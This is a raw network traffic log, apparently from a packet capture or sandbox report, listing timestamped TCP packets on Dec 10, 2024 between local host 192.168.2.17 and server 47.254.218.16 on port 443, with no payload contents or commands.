Dec 10, 2024 12:49:00.321413040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.321458101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.408478022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.473592997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.473623991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.473695993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.473715067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.473742962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.473767996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.479484081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.479509115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.479557037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.479562998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.479604006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.484797001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.484816074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.484867096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.484874010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.484914064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.490741014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.490756989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.490793943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.490802050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.490827084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.490847111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.496687889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.496717930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.496752024 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.496757984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.496778011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.496805906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.502477884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.502496004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.502562046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.502568960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.502614021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.508291006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.508311987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.508366108 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.508372068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.508408070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.513590097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.513612986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.513669968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.513676882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.513715029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.600656033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.665885925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.665920019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.665973902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.665999889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.666016102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.666044950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.672152996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.672169924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.672216892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.672228098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.672286034 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.677782059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.677798986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.677853107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.677860022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.677905083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.683044910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.683059931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.683111906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.683119059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.683165073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.689047098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.689063072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.689124107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.689150095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.689192057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.694660902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.694679022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.694737911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.694744110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.694787979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.700575113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.700589895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.700635910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.700649023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.700685024 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.706598043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.706614971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.706661940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.706672907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.706718922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.792395115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.858532906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.858561993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.858727932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.858746052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.858793020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.863779068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.863797903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.863857031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.863863945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.863909006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.869827986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.869844913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.869895935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.869901896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.869959116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.875684977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.875701904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.875750065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.875756025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.875791073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.881067038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.881084919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.881131887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.881139040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.881180048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.887334108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.887348890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.887398958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.887403965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.887447119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.892564058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.892574072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.892633915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.892643929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.892690897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.898931980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.898947954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.898986101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.898993015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.899017096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.899033070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.986375093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.050364971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.050386906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.050555944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.050569057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.050614119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.056457043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.056476116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.056541920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.056557894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.056598902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.062578917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.062593937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.062647104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.062653065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.062695026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.067559958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.067578077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.067616940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.067622900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.067642927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.067667007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.073643923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.073659897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.073712111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.073719978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.073764086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.079233885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.079251051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.079302073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.079307079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.079349995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.085336924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.085352898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.085405111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.085411072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.085450888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.091170073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.091185093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.091243029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.091249943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.091293097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.176976919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.242542982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.242562056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.242621899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.242647886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.242705107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.248507023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.248522043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.248570919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.248575926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.248625040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.254472971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.254487991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.254555941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.254560947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.254597902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.254611969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.260473967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.260490894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.260576010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.260581970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.260623932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.265887022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.265902996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.265958071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.265964031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.266007900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.271325111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.271348953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.271383047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.271389008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.271421909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.271441936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.277332067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.277347088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.277406931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.277411938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.277468920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.283252954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.283267975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.283348083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.283358097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.283423901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.375336885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.435384035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.435400963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.435453892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.435463905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.435497999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.435523033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.440632105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.440645933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.440710068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.440716982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.440761089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.446613073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.446635962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.446674109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.446687937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.446700096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.446727991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.452548981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.452569008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.452608109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.452614069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.452635050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.452660084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.457828045 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.457844019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.457895041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.457901001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.457943916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.464212894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.464236975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.464301109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.464327097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.464374065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.469494104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.469518900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.469558001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.469572067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.469588995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.469615936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.475445986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.475485086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.475548983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.475557089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.475601912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.567990065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.627506971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.627526999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.627593994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.627612114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.627656937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.632874966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.632889986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.632951975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.632957935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.633002996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.638756990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.638772011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.638844013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.638849020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.638892889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.644709110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.644723892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.644793987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.644810915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.644855022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.649981976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.649996996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.650058985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.650065899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.650110006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.656284094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.656300068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.656358957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.656368971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.656415939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.661588907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.661602974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.661684990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.661690950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.661737919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.667674065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.667690992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.667743921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.667752028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.667795897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.762029886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.819127083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.819154978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.819242001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.819268942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.819336891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.825114012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.825130939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.825196028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.825203896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.825251102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.831032038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.831077099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.831109047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.831118107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.831140041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.831159115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.837021112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.837038994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.837086916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.837095022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.837132931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.842396021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.842411041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.842466116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.842472076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.842511892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.848643064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.848659992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.848704100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.848710060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.848751068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.853899002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.853914022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.853961945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.853966951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.854006052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:01.859847069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:01.859863043 CET	443	49729	47.254.218.16	192.168.2.17
